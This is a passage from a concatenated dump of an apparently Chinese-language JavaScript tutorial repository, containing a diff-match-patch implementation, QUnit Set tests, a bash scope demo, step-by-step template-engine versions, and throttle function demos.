""]); pointer = 0; countDelete = 0; countInsert = 0; textDelete = ""; textInsert = ""; while (pointer < diffs.length) { switch (diffs[pointer][0]) { case DIFF_INSERT: countInsert++; textInsert += diffs[pointer][1]; break; case DIFF_DELETE: countDelete++; textDelete += diffs[pointer][1]; break; case DIFF_EQUAL: // Upon reaching an equality, check for prior redundancies. if (countDelete >= 1 && countInsert >= 1) { // Delete the offending records and add the merged ones. diffs.splice(pointer - countDelete - countInsert, countDelete + countInsert); pointer = pointer - countDelete - countInsert; a = this.DiffMain(textDelete, textInsert, false, deadline); for (j = a.length - 1; j >= 0; j--) { diffs.splice(pointer, 0, a[j]); } pointer = pointer + a.length; } countInsert = 0; countDelete = 0; textDelete = ""; textInsert = ""; break; } pointer++; } diffs.pop(); // Remove the dummy entry at the end. return diffs; }; /** * Find the 'middle snake' of a diff, split the problem in two * and return the recursively constructed diff. * See Myers 1986 paper: An O(ND) Difference Algorithm and Its Variations. * @param {string} text1 Old string to be diffed. * @param {string} text2 New string to be diffed. * @param {number} deadline Time at which to bail if not yet complete. * @return {!Array.} Array of diff tuples. * @private */ DiffMatchPatch.prototype.diffBisect = function (text1, text2, deadline) { var text1Length, text2Length, maxD, vOffset, vLength, v1, v2, x, delta, front, k1start, k1end, k2start, k2end, k2Offset, k1Offset, x1, x2, y1, y2, d, k1, k2; // Cache the text lengths to prevent multiple calls. text1Length = text1.length; text2Length = text2.length; maxD = Math.ceil((text1Length + text2Length) / 2); vOffset = maxD; vLength = 2 * maxD; v1 = new Array(vLength); v2 = new Array(vLength); // Setting all elements to -1 is faster in Chrome & Firefox than mixing // integers and undefined. for (x = 0; x < vLength; x++) { v1[x] = -1; v2[x] = -1; } v1[vOffset + 1] = 0; v2[vOffset + 1] = 0; delta = text1Length - text2Length; // If the total number of characters is odd, then the front path will collide // with the reverse path. front = delta % 2 !== 0; // Offsets for start and end of k loop. // Prevents mapping of space beyond the grid. k1start = 0; k1end = 0; k2start = 0; k2end = 0; for (d = 0; d < maxD; d++) { // Bail out if deadline is reached. if (new Date().getTime() > deadline) { break; } // Walk the front path one step. for (k1 = -d + k1start; k1 <= d - k1end; k1 += 2) { k1Offset = vOffset + k1; if (k1 === -d || k1 !== d && v1[k1Offset - 1] < v1[k1Offset + 1]) { x1 = v1[k1Offset + 1]; } else { x1 = v1[k1Offset - 1] + 1; } y1 = x1 - k1; while (x1 < text1Length && y1 < text2Length && text1.charAt(x1) === text2.charAt(y1)) { x1++; y1++; } v1[k1Offset] = x1; if (x1 > text1Length) { // Ran off the right of the graph. k1end += 2; } else if (y1 > text2Length) { // Ran off the bottom of the graph. k1start += 2; } else if (front) { k2Offset = vOffset + delta - k1; if (k2Offset >= 0 && k2Offset < vLength && v2[k2Offset] !== -1) { // Mirror x2 onto top-left coordinate system. x2 = text1Length - v2[k2Offset]; if (x1 >= x2) { // Overlap detected. return this.diffBisectSplit(text1, text2, x1, y1, deadline); } } } } // Walk the reverse path one step. for (k2 = -d + k2start; k2 <= d - k2end; k2 += 2) { k2Offset = vOffset + k2; if (k2 === -d || k2 !== d && v2[k2Offset - 1] < v2[k2Offset + 1]) { x2 = v2[k2Offset + 1]; } else { x2 = v2[k2Offset - 1] + 1; } y2 = x2 - k2; while (x2 < text1Length && y2 < text2Length && text1.charAt(text1Length - x2 - 1) === text2.charAt(text2Length - y2 - 1)) { x2++; y2++; } v2[k2Offset] = x2; if (x2 > text1Length) { // Ran off the left of the graph. k2end += 2; } else if (y2 > text2Length) { // Ran off the top of the graph. k2start += 2; } else if (!front) { k1Offset = vOffset + delta - k2; if (k1Offset >= 0 && k1Offset < vLength && v1[k1Offset] !== -1) { x1 = v1[k1Offset]; y1 = vOffset + x1 - k1Offset; // Mirror x2 onto top-left coordinate system. x2 = text1Length - x2; if (x1 >= x2) { // Overlap detected. return this.diffBisectSplit(text1, text2, x1, y1, deadline); } } } } } // Diff took too long and hit the deadline or // number of diffs equals number of characters, no commonality at all. return [[DIFF_DELETE, text1], [DIFF_INSERT, text2]]; }; /** * Given the location of the 'middle snake', split the diff in two parts * and recurse. * @param {string} text1 Old string to be diffed. * @param {string} text2 New string to be diffed. * @param {number} x Index of split point in text1. * @param {number} y Index of split point in text2. * @param {number} deadline Time at which to bail if not yet complete. * @return {!Array.} Array of diff tuples. * @private */ DiffMatchPatch.prototype.diffBisectSplit = function (text1, text2, x, y, deadline) { var text1a, text1b, text2a, text2b, diffs, diffsb; text1a = text1.substring(0, x); text2a = text2.substring(0, y); text1b = text1.substring(x); text2b = text2.substring(y); // Compute both diffs serially. diffs = this.DiffMain(text1a, text2a, false, deadline); diffsb = this.DiffMain(text1b, text2b, false, deadline); return diffs.concat(diffsb); }; /** * Reduce the number of edits by eliminating semantically trivial equalities. * @param {!Array.} diffs Array of diff tuples. */ DiffMatchPatch.prototype.diffCleanupSemantic = function (diffs) { var changes, equalities, equalitiesLength, lastequality, pointer, lengthInsertions2, lengthDeletions2, lengthInsertions1, lengthDeletions1, deletion, insertion, overlapLength1, overlapLength2; changes = false; equalities = []; // Stack of indices where equalities are found. equalitiesLength = 0; // Keeping our own length var is faster in JS. /** @type {?string} */ lastequality = null; // Always equal to diffs[equalities[equalitiesLength - 1]][1] pointer = 0; // Index of current position. // Number of characters that changed prior to the equality. lengthInsertions1 = 0; lengthDeletions1 = 0; // Number of characters that changed after the equality. lengthInsertions2 = 0; lengthDeletions2 = 0; while (pointer < diffs.length) { if (diffs[pointer][0] === DIFF_EQUAL) { // Equality found. equalities[equalitiesLength++] = pointer; lengthInsertions1 = lengthInsertions2; lengthDeletions1 = lengthDeletions2; lengthInsertions2 = 0; lengthDeletions2 = 0; lastequality = diffs[pointer][1]; } else { // An insertion or deletion. if (diffs[pointer][0] === DIFF_INSERT) { lengthInsertions2 += diffs[pointer][1].length; } else { lengthDeletions2 += diffs[pointer][1].length; } // Eliminate an equality that is smaller or equal to the edits on both // sides of it. if (lastequality && lastequality.length <= Math.max(lengthInsertions1, lengthDeletions1) && lastequality.length <= Math.max(lengthInsertions2, lengthDeletions2)) { // Duplicate record. diffs.splice(equalities[equalitiesLength - 1], 0, [DIFF_DELETE, lastequality]); // Change second copy to insert. diffs[equalities[equalitiesLength - 1] + 1][0] = DIFF_INSERT; // Throw away the equality we just deleted. equalitiesLength--; // Throw away the previous equality (it needs to be reevaluated). equalitiesLength--; pointer = equalitiesLength > 0 ? equalities[equalitiesLength - 1] : -1; // Reset the counters. lengthInsertions1 = 0; lengthDeletions1 = 0; lengthInsertions2 = 0; lengthDeletions2 = 0; lastequality = null; changes = true; } } pointer++; } // Normalize the diff. if (changes) { this.diffCleanupMerge(diffs); } // Find any overlaps between deletions and insertions. // e.g: abcxxxxxxdef // -> abcxxxdef // e.g: xxxabcdefxxx // -> defxxxabc // Only extract an overlap if it is as big as the edit ahead or behind it. pointer = 1; while (pointer < diffs.length) { if (diffs[pointer - 1][0] === DIFF_DELETE && diffs[pointer][0] === DIFF_INSERT) { deletion = diffs[pointer - 1][1]; insertion = diffs[pointer][1]; overlapLength1 = this.diffCommonOverlap(deletion, insertion); overlapLength2 = this.diffCommonOverlap(insertion, deletion); if (overlapLength1 >= overlapLength2) { if (overlapLength1 >= deletion.length / 2 || overlapLength1 >= insertion.length / 2) { // Overlap found. Insert an equality and trim the surrounding edits. diffs.splice(pointer, 0, [DIFF_EQUAL, insertion.substring(0, overlapLength1)]); diffs[pointer - 1][1] = deletion.substring(0, deletion.length - overlapLength1); diffs[pointer + 1][1] = insertion.substring(overlapLength1); pointer++; } } else { if (overlapLength2 >= deletion.length / 2 || overlapLength2 >= insertion.length / 2) { // Reverse overlap found. // Insert an equality and swap and trim the surrounding edits. diffs.splice(pointer, 0, [DIFF_EQUAL, deletion.substring(0, overlapLength2)]); diffs[pointer - 1][0] = DIFF_INSERT; diffs[pointer - 1][1] = insertion.substring(0, insertion.length - overlapLength2); diffs[pointer + 1][0] = DIFF_DELETE; diffs[pointer + 1][1] = deletion.substring(overlapLength2); pointer++; } } pointer++; } pointer++; } }; /** * Determine if the suffix of one string is the prefix of another. * @param {string} text1 First string. * @param {string} text2 Second string. * @return {number} The number of characters common to the end of the first * string and the start of the second string. * @private */ DiffMatchPatch.prototype.diffCommonOverlap = function (text1, text2) { var text1Length, text2Length, textLength, best, length, pattern, found; // Cache the text lengths to prevent multiple calls. text1Length = text1.length; text2Length = text2.length; // Eliminate the null case. if (text1Length === 0 || text2Length === 0) { return 0; } // Truncate the longer string. if (text1Length > text2Length) { text1 = text1.substring(text1Length - text2Length); } else if (text1Length < text2Length) { text2 = text2.substring(0, text1Length); } textLength = Math.min(text1Length, text2Length); // Quick check for the worst case. if (text1 === text2) { return textLength; } // Start by looking for a single character match // and increase length until no match is found. // Performance analysis: https://neil.fraser.name/news/2010/11/04/ best = 0; length = 1; while (true) { pattern = text1.substring(textLength - length); found = text2.indexOf(pattern); if (found === -1) { return best; } length += found; if (found === 0 || text1.substring(textLength - length) === text2.substring(0, length)) { best = length; length++; } } }; /** * Split two texts into an array of strings. Reduce the texts to a string of * hashes where each Unicode character represents one line. * @param {string} text1 First string. * @param {string} text2 Second string. * @return {{chars1: string, chars2: string, lineArray: !Array.}} * An object containing the encoded text1, the encoded text2 and * the array of unique strings. * The zeroth element of the array of unique strings is intentionally blank. * @private */ DiffMatchPatch.prototype.diffLinesToChars = function (text1, text2) { var lineArray, lineHash, chars1, chars2; lineArray = []; // E.g. lineArray[4] === 'Hello\n' lineHash = {}; // E.g. lineHash['Hello\n'] === 4 // '\x00' is a valid character, but various debuggers don't like it. // So we'll insert a junk entry to avoid generating a null character. lineArray[0] = ""; /** * Split a text into an array of strings. Reduce the texts to a string of * hashes where each Unicode character represents one line. * Modifies linearray and linehash through being a closure. * @param {string} text String to encode. * @return {string} Encoded string. * @private */ function diffLinesToCharsMunge(text) { var chars, lineStart, lineEnd, lineArrayLength, line; chars = ""; // Walk the text, pulling out a substring for each line. // text.split('\n') would would temporarily double our memory footprint. // Modifying text would create many large strings to garbage collect. lineStart = 0; lineEnd = -1; // Keeping our own length variable is faster than looking it up. lineArrayLength = lineArray.length; while (lineEnd < text.length - 1) { lineEnd = text.indexOf("\n", lineStart); if (lineEnd === -1) { lineEnd = text.length - 1; } line = text.substring(lineStart, lineEnd + 1); lineStart = lineEnd + 1; if (lineHash.hasOwnProperty ? lineHash.hasOwnProperty(line) : lineHash[line] !== undefined) { chars += String.fromCharCode(lineHash[line]); } else { chars += String.fromCharCode(lineArrayLength); lineHash[line] = lineArrayLength; lineArray[lineArrayLength++] = line; } } return chars; } chars1 = diffLinesToCharsMunge(text1); chars2 = diffLinesToCharsMunge(text2); return { chars1: chars1, chars2: chars2, lineArray: lineArray }; }; /** * Rehydrate the text in a diff from a string of line hashes to real lines of * text. * @param {!Array.} diffs Array of diff tuples. * @param {!Array.} lineArray Array of unique strings. * @private */ DiffMatchPatch.prototype.diffCharsToLines = function (diffs, lineArray) { var x, chars, text, y; for (x = 0; x < diffs.length; x++) { chars = diffs[x][1]; text = []; for (y = 0; y < chars.length; y++) { text[y] = lineArray[chars.charCodeAt(y)]; } diffs[x][1] = text.join(""); } }; /** * Reorder and merge like edit sections. Merge equalities. * Any edit section can move as long as it doesn't cross an equality. * @param {!Array.} diffs Array of diff tuples. */ DiffMatchPatch.prototype.diffCleanupMerge = function (diffs) { var pointer, countDelete, countInsert, textInsert, textDelete, commonlength, changes, diffPointer, position; diffs.push([DIFF_EQUAL, ""]); // Add a dummy entry at the end. pointer = 0; countDelete = 0; countInsert = 0; textDelete = ""; textInsert = ""; while (pointer < diffs.length) { switch (diffs[pointer][0]) { case DIFF_INSERT: countInsert++; textInsert += diffs[pointer][1]; pointer++; break; case DIFF_DELETE: countDelete++; textDelete += diffs[pointer][1]; pointer++; break; case DIFF_EQUAL: // Upon reaching an equality, check for prior redundancies. if (countDelete + countInsert > 1) { if (countDelete !== 0 && countInsert !== 0) { // Factor out any common prefixes. commonlength = this.diffCommonPrefix(textInsert, textDelete); if (commonlength !== 0) { if (pointer - countDelete - countInsert > 0 && diffs[pointer - countDelete - countInsert - 1][0] === DIFF_EQUAL) { diffs[pointer - countDelete - countInsert - 1][1] += textInsert.substring(0, commonlength); } else { diffs.splice(0, 0, [DIFF_EQUAL, textInsert.substring(0, commonlength)]); pointer++; } textInsert = textInsert.substring(commonlength); textDelete = textDelete.substring(commonlength); } // Factor out any common suffixies. commonlength = this.diffCommonSuffix(textInsert, textDelete); if (commonlength !== 0) { diffs[pointer][1] = textInsert.substring(textInsert.length - commonlength) + diffs[pointer][1]; textInsert = textInsert.substring(0, textInsert.length - commonlength); textDelete = textDelete.substring(0, textDelete.length - commonlength); } } // Delete the offending records and add the merged ones. if (countDelete === 0) { diffs.splice(pointer - countInsert, countDelete + countInsert, [DIFF_INSERT, textInsert]); } else if (countInsert === 0) { diffs.splice(pointer - countDelete, countDelete + countInsert, [DIFF_DELETE, textDelete]); } else { diffs.splice(pointer - countDelete - countInsert, countDelete + countInsert, [DIFF_DELETE, textDelete], [DIFF_INSERT, textInsert]); } pointer = pointer - countDelete - countInsert + (countDelete ? 1 : 0) + (countInsert ? 1 : 0) + 1; } else if (pointer !== 0 && diffs[pointer - 1][0] === DIFF_EQUAL) { // Merge this equality with the previous one. diffs[pointer - 1][1] += diffs[pointer][1]; diffs.splice(pointer, 1); } else { pointer++; } countInsert = 0; countDelete = 0; textDelete = ""; textInsert = ""; break; } } if (diffs[diffs.length - 1][1] === "") { diffs.pop(); // Remove the dummy entry at the end. } // Second pass: look for single edits surrounded on both sides by equalities // which can be shifted sideways to eliminate an equality. // e.g: ABAC -> ABAC changes = false; pointer = 1; // Intentionally ignore the first and last element (don't need checking). while (pointer < diffs.length - 1) { if (diffs[pointer - 1][0] === DIFF_EQUAL && diffs[pointer + 1][0] === DIFF_EQUAL) { diffPointer = diffs[pointer][1]; position = diffPointer.substring(diffPointer.length - diffs[pointer - 1][1].length); // This is a single edit surrounded by equalities. if (position === diffs[pointer - 1][1]) { // Shift the edit over the previous equality. diffs[pointer][1] = diffs[pointer - 1][1] + diffs[pointer][1].substring(0, diffs[pointer][1].length - diffs[pointer - 1][1].length); diffs[pointer + 1][1] = diffs[pointer - 1][1] + diffs[pointer + 1][1]; diffs.splice(pointer - 1, 1); changes = true; } else if (diffPointer.substring(0, diffs[pointer + 1][1].length) === diffs[pointer + 1][1]) { // Shift the edit over the next equality. diffs[pointer - 1][1] += diffs[pointer + 1][1]; diffs[pointer][1] = diffs[pointer][1].substring(diffs[pointer + 1][1].length) + diffs[pointer + 1][1]; diffs.splice(pointer + 1, 1); changes = true; } } pointer++; } // If shifts were made, the diff needs reordering and another shift sweep. if (changes) { this.diffCleanupMerge(diffs); } }; return function (o, n) { var diff, output, text; diff = new DiffMatchPatch(); output = diff.DiffMain(o, n); diff.diffCleanupEfficiency(output); text = diff.diffPrettyHtml(output); return text; }; }(); }((function() { return this; }()))); ================================================ FILE: demos/qunit/test.js ================================================ QUnit.test("unique value", function(assert) { const set = new Set([1, 2, 3, 4, 4]); assert.deepEqual([...set], [1, 2, 3, 4], "Passed!"); }); QUnit.test("unique value", function(assert) { const set = new Set(new Set([1, 2, 3, 4, 4])); assert.deepEqual([...set], [1, 2, 3, 4], "Passed!"); }); QUnit.test("size", function(assert) { const items = new Set([1, 2, 3, 4, 5, 5, 5, 5]); assert.ok(items.size == 5, "Passed!"); }); QUnit.test("NaN", function(assert) { const items = new Set([NaN, NaN]); assert.ok(items.size == 1, "Passed!"); }); QUnit.test("Object", function(assert) { const items = new Set([{}, {}]); assert.ok(items.size == 2, "Passed!"); }); QUnit.test("add function", function(assert) { const set = new Set(); console.log(set) set.add(1).add(2).add(2); assert.ok(set.size == 2, "Passed!"); }); QUnit.test("has function", function(assert) { const set = new Set(); set.add(1).add(2).add(2); assert.ok(set.has(1), "Passed!"); }); QUnit.test("delete function", function(assert) { const set = new Set(); set.add(1).add(2).add(2); set.delete(2); assert.notOk(set.has(2), "Passed!"); }); QUnit.test("clear function", function(assert) { const set = new Set(); set.add(1).add(2).add(2); set.clear(); assert.ok(set.size == 0, "Passed!"); }); QUnit.test("Array from", function(assert) { const items = new Set([1, 2, 3, 4, 5, 5]); const array = Array.from(items); assert.deepEqual(array, [1, 2, 3, 4, 5], "Passed!"); }); QUnit.test("set.keys", function(assert) { let set = new Set(['red', 'green', 'blue']); assert.deepEqual([...set.keys()], ["red", "green", "blue"], "Passed!"); }); QUnit.test("set.values", function(assert) { let set = new Set(['red', 'green', 'blue']); assert.deepEqual([...set.values()], ["red", "green", "blue"], "Passed!"); }); QUnit.test("set.entries", function(assert) { let set = new Set(['red', 'green', 'blue']); assert.deepEqual([...set.entries()], [["red", "red"], ["green", "green"], ["blue", "blue"]], "Passed!"); }); QUnit.test("set.forEach", function(assert) { let temp = []; let set = new Set([1, 2, 3]); set.forEach((value, key) => temp.push(value * 2) ) assert.deepEqual(temp, [2, 4, 6], "Passed!"); }); let a = new Set([1, 2, 3]); let b = new Set([4, 3, 2]); QUnit.test("并集测试", function(assert) { let union = new Set([...a, ...b]); assert.deepEqual([...union], [1, 2, 3, 4], "Passed!"); }); QUnit.test("交集测试", function(assert) { let intersect = new Set([...a].filter(x => b.has(x))); assert.deepEqual([...intersect], [2, 3], "Passed!"); }); QUnit.test("差集测试", function(assert) { let difference = new Set([...a].filter(x => !b.has(x))); assert.deepEqual([...difference], [1], "Passed!"); }); ================================================ FILE: demos/scope/scope.bash ================================================ value=1 function foo () { echo $value; } function bar () { local value=2; foo; } bar ================================================ FILE: demos/template/template1/index.html ================================================ template
      ================================================ FILE: demos/template/template1/template.js ================================================ // 模板引擎第一版 (function() { this.tmpl = function (str, data) { var str = document.getElementById(str).innerHTML; var string = "var p = []; p.push('" + str .replace(/[\r\t\n]/g, "") .replace(/<%=(.*?)%>/g, "');p.push($1);p.push('") .replace(/<%/g, "');") .replace(/%>/g,"p.push('") + "');" eval(string) return p.join(''); }; })(); var results = document.getElementById("container"); var users = [ { "name": "Byron", "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] results.innerHTML = tmpl("user_tmpl", users); ================================================ FILE: demos/template/template2/index.html ================================================ template
      ================================================ FILE: demos/template/template2/template.js ================================================ // 模板引擎第二版 (function() { this.tmpl = function (str, data) { var str = document.getElementById(str).innerHTML; var fn = new Function("obj", "var p = []; p.push('" + str .replace(/[\r\t\n]/g, "") .replace(/<%=(.*?)%>/g, "');p.push($1);p.push('") .replace(/<%/g, "');") .replace(/%>/g,"p.push('") + "');return p.join('');"); return fn(data); }; })(); var results = document.getElementById("container"); var users = [ { "name": "Byron", "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] results.innerHTML = tmpl("user_tmpl", users); ================================================ FILE: demos/template/template3/index.html ================================================ template
      ================================================ FILE: demos/template/template3/template.js ================================================ // 模板引擎第三版 (function() { this.tmpl = function (str, data) { var str = document.getElementById(str).innerHTML; var fn = new Function("obj", "var p = []; with(obj){p.push('" + str .replace(/[\r\t\n]/g, "") .replace(/<%=(.*?)%>/g, "');p.push($1);p.push('") .replace(/<%/g, "');") .replace(/%>/g,"p.push('") + "');}return p.join('');"); return fn(data); }; })(); var results = document.getElementById("container"); var data2 = { users: [ { "name": "Byron", "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] } results.innerHTML = tmpl("user_tmpl", data2); ================================================ FILE: demos/template/template4/index.html ================================================ template
      ================================================ FILE: demos/template/template4/template.js ================================================ // 模板引擎第三版 (function() { this.tmpl = function (str) { var str = document.getElementById(str).innerHTML; var fn = new Function("obj", "var p = []; with(obj){p.push('" + str .replace(/[\r\t\n]/g, "") .replace(/<%=(.*?)%>/g, "');p.push($1);p.push('") .replace(/<%/g, "');") .replace(/%>/g,"p.push('") + "');}return p.join('');"); var template = function(data) { return fn.call(this, data) } return template; }; })(); var results = document.getElementById("container"); var data2 = { users: [ { "name": "Byron", "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] } var compiled = tmpl("user_tmpl"); results.innerHTML = compiled(data2); ================================================ FILE: demos/template/template4.1/index.html ================================================ template
      ================================================ FILE: demos/template/template4.1/template.js ================================================ /** * 这是文章中的原版实现,文章中对代码进行了简化 */ (function() { var cache = {}; this.tmpl = function tmpl(str, data) { // Figure out if we're getting a template, or if we need to // load the template - and be sure to cache the result. var fn = !/\W/.test(str) ? cache[str] = cache[str] || tmpl(document.getElementById(str).innerHTML) : // Generate a reusable function that will serve as a template // generator (and which will be cached). new Function("obj", "var p=[],print=function(){p.push.apply(p,arguments);};" + // Introduce the data as local variables using with(){} "with(obj){p.push('" + // Convert the template into pure JavaScript str .replace(/[\r\t\n]/g, " ") .split("<%").join("\t") .replace(/((^|%>)[^\t]*)'/g, "$1\r") .replace(/\t=(.*?)%>/g, "',$1,'") .split("\t").join("');") .split("%>").join("p.push('") .split("\r").join("\\'") + "');}return p.join('');"); // Provide some basic currying to the user return data ? fn(data) : fn; }; })(); var results = document.getElementById("container"); var data2 = { users: [ { "name": "Byron", "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] } var compiled = tmpl("user_tmpl", data2); results.innerHTML = compiled; ================================================ FILE: demos/template/template5/index.html ================================================ template
      ================================================ FILE: demos/template/template5/template.js ================================================ /** * 模板引擎第五版 */ var settings = { // 求值 evaluate: /<%([\s\S]+?)%>/g, // 插入 interpolate: /<%=([\s\S]+?)%>/g, }; var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g; var template = function(text) { var source = "var __p='';\n"; source = source + "with(obj){\n" source = source + "__p+='"; var main = text .replace(escapeRegExp, function(match) { return '\\' + escapes[match]; }) .replace(settings.interpolate, function(match, interpolate){ return "'+\n" + interpolate + "+\n'" }) .replace(settings.evaluate, function(match, evaluate){ return "';\n " + evaluate + "\n__p+='" }) source = source + main + "';\n }; \n return __p;"; console.log(source) var render = new Function('obj', source); return render; }; var results = document.getElementById("container"); var data = { users: [ { "name": "Byron", "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] } var text = document.getElementById("user_tmpl").innerHTML var compiled = template(text); results.innerHTML = compiled(data); ================================================ FILE: demos/template/template6/index.html ================================================ template
      ================================================ FILE: demos/template/template6/template.js ================================================ /** * 模板引擎第六版 */ var settings = { // 求值 evaluate: /<%([\s\S]+?)%>/g, // 插入 interpolate: /<%=([\s\S]+?)%>/g, }; var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g; var template = function(text) { var source = "var __t, __p='';\n"; source = source + "with(obj){\n" source = source + "__p+='"; var main = text .replace(escapeRegExp, function(match) { return '\\' + escapes[match]; }) .replace(settings.interpolate, function(match, interpolate){ return "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'" }) .replace(settings.evaluate, function(match, evaluate){ return "';\n " + evaluate + "\n__p+='" }) source = source + main + "';\n }; \n return __p;"; console.log(source) var render = new Function('obj', source); return render; }; var results = document.getElementById("container"); var data = { users: [ { "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] } var text = document.getElementById("user_tmpl").innerHTML var compiled = template(text); results.innerHTML = compiled(data); ================================================ FILE: demos/template/template7/index.html ================================================ template
      ================================================ FILE: demos/template/template7/template.js ================================================ /** * 模板引擎第七版 */ var settings = { // 求值 evaluate: /<%([\s\S]+?)%>/g, // 插入 interpolate: /<%=([\s\S]+?)%>/g, }; var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g; var template = function(text) { var matcher = RegExp([ (settings.interpolate).source, (settings.evaluate).source ].join('|') + '|$', 'g'); var index = 0; var source = "__p+='"; text.replace(matcher, function(match, interpolate, evaluate, offset) { source += text.slice(index, offset).replace(escapeRegExp, function(match) { return '\\' + escapes[match]; }); index = offset + match.length; if (interpolate) { source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'"; } else if (evaluate) { source += "';\n" + evaluate + "\n__p+='"; } return match; }); source += "';\n"; source = 'with(obj||{}){\n' + source + '}\n' source = "var __t, __p='';" + source + 'return __p;\n'; console.log(source) var render = new Function('obj', source); return render; }; var results = document.getElementById("container"); var data = { users: [ { "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] } var text = document.getElementById("user_tmpl").innerHTML var compiled = template(text); results.innerHTML = compiled(data); ================================================ FILE: demos/template/template8/index.html ================================================ template
      ================================================ FILE: demos/template/template8/template.js ================================================ /** * 模板引擎第八版 */ var _ = {}; _.templateSettings = { // 求值 evaluate: /<%([\s\S]+?)%>/g, // 插入 interpolate: /<%=([\s\S]+?)%>/g, // 转义 escape: /<%-([\s\S]+?)%>/g }; var noMatch = /(.)^/; var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g; var escapeChar = function(match) { return '\\' + escapes[match]; }; _.template = function(text, settings) { settings = Object.assign({}, _.templateSettings, settings); var matcher = RegExp([ (settings.escape || noMatch).source, (settings.interpolate || noMatch).source, (settings.evaluate || noMatch).source ].join('|') + '|$', 'g'); var index = 0; var source = "__p+='"; text.replace(matcher, function(match, escape, interpolate, evaluate, offset) { source += text.slice(index, offset).replace(escapeRegExp, escapeChar); index = offset + match.length; if (escape) { source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'"; } else if (interpolate) { source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'"; } else if (evaluate) { source += "';\n" + evaluate + "\n__p+='"; } return match; }); source += "';\n"; if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n'; source = "var __t,__p='',__j=Array.prototype.join," + "print=function(){__p+=__j.call(arguments,'');};\n" + source + 'return __p;\n'; var render; try { render = new Function(settings.variable || 'obj', '_', source); } catch (e) { e.source = source; throw e; } var template = function(data) { return render.call(this, data, _); }; var argument = settings.variable || 'obj'; template.source = 'function(' + argument + '){\n' + source + '}'; return template; }; var results = document.getElementById("container"); var data = { users: [ { "name": "Byron", "url": "http://localhost" }, { "name": "Casper", "url": "http://localhost" }, { "name": "Frank", "url": "http://localhost" } ] } var text = document.getElementById("user_tmpl").innerHTML var compiled = _.template(text); console.log(compiled.source) results.innerHTML = compiled(data); ================================================ FILE: demos/throttle/index.html ================================================ throttle
      ================================================ FILE: demos/throttle/throttle1.js ================================================ /** * 第一版 使用时间戳 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; container.onmousemove = throttle(getUserAction, 1000); function throttle(func, wait) { var context, args; var previous = 0; return function() { var now = +new Date(); context = this; args = arguments; if (now - previous > wait) { func.apply(context, args); previous = now; } } } ================================================ FILE: demos/throttle/throttle2.js ================================================ /** * 第二版 使用定时器 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; container.onmousemove = throttle(getUserAction, 3000); function throttle(func, wait) { var timeout; return function() { var context = this; var args = arguments; if (!timeout) { timeout = setTimeout(function(){ timeout = null; func.apply(context, args) }, wait) } } } ================================================ FILE: demos/throttle/throttle3.js ================================================ /** * 第三版 有头有尾 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; container.onmousemove = throttle(getUserAction, 3000); function throttle(func, wait) { var timeout, context, args, result; var previous = 0; var later = function() { previous = +new Date(); timeout = null; func.apply(context, args) }; var throttled = function() { var now = +new Date(); //下次触发func剩余的时间 var remaining = wait - (now - previous); context = this; args = arguments; // 如果没有剩余的时间了或者你改了系统时间 if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = now; func.apply(context, args); } else if (!timeout) { timeout = setTimeout(later, remaining); } }; return throttled; } ================================================ FILE: demos/throttle/throttle4.js ================================================ /** * 第四版 有头无尾 或者 无头有尾 * leading:false 表示禁用第一次执行 * trailing: false 表示禁用停止触发的回调 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; // container.onmousemove = throttle(getUserAction, 3000, { // leading: false // }); container.onmousemove = throttle(getUserAction, 3000, { trailing: false }); function throttle(func, wait, options) { var timeout, context, args, result; var previous = 0; if (!options) options = {}; var later = function() { previous = options.leading === false ? 0 : new Date().getTime(); timeout = null; func.apply(context, args); if (!timeout) context = args = null; }; var throttled = function() { var now = new Date().getTime(); if (!previous && options.leading === false) previous = now; var remaining = wait - (now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = now; func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } }; return throttled; } ================================================ FILE: demos/throttle/throttle5.js ================================================ /** * 第五版 添加取消方法 用法跟 debounce 相同 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; var setUseAction = throttle(getUserAction, 10000); container.onmousemove = setUseAction document.getElementById("button").addEventListener('click', function(){ setUseAction.cancel(); }) function throttle(func, wait, options) { var timeout, context, args, result; var previous = 0; if (!options) options = {}; var later = function() { previous = options.leading === false ? 0 : new Date().getTime(); timeout = 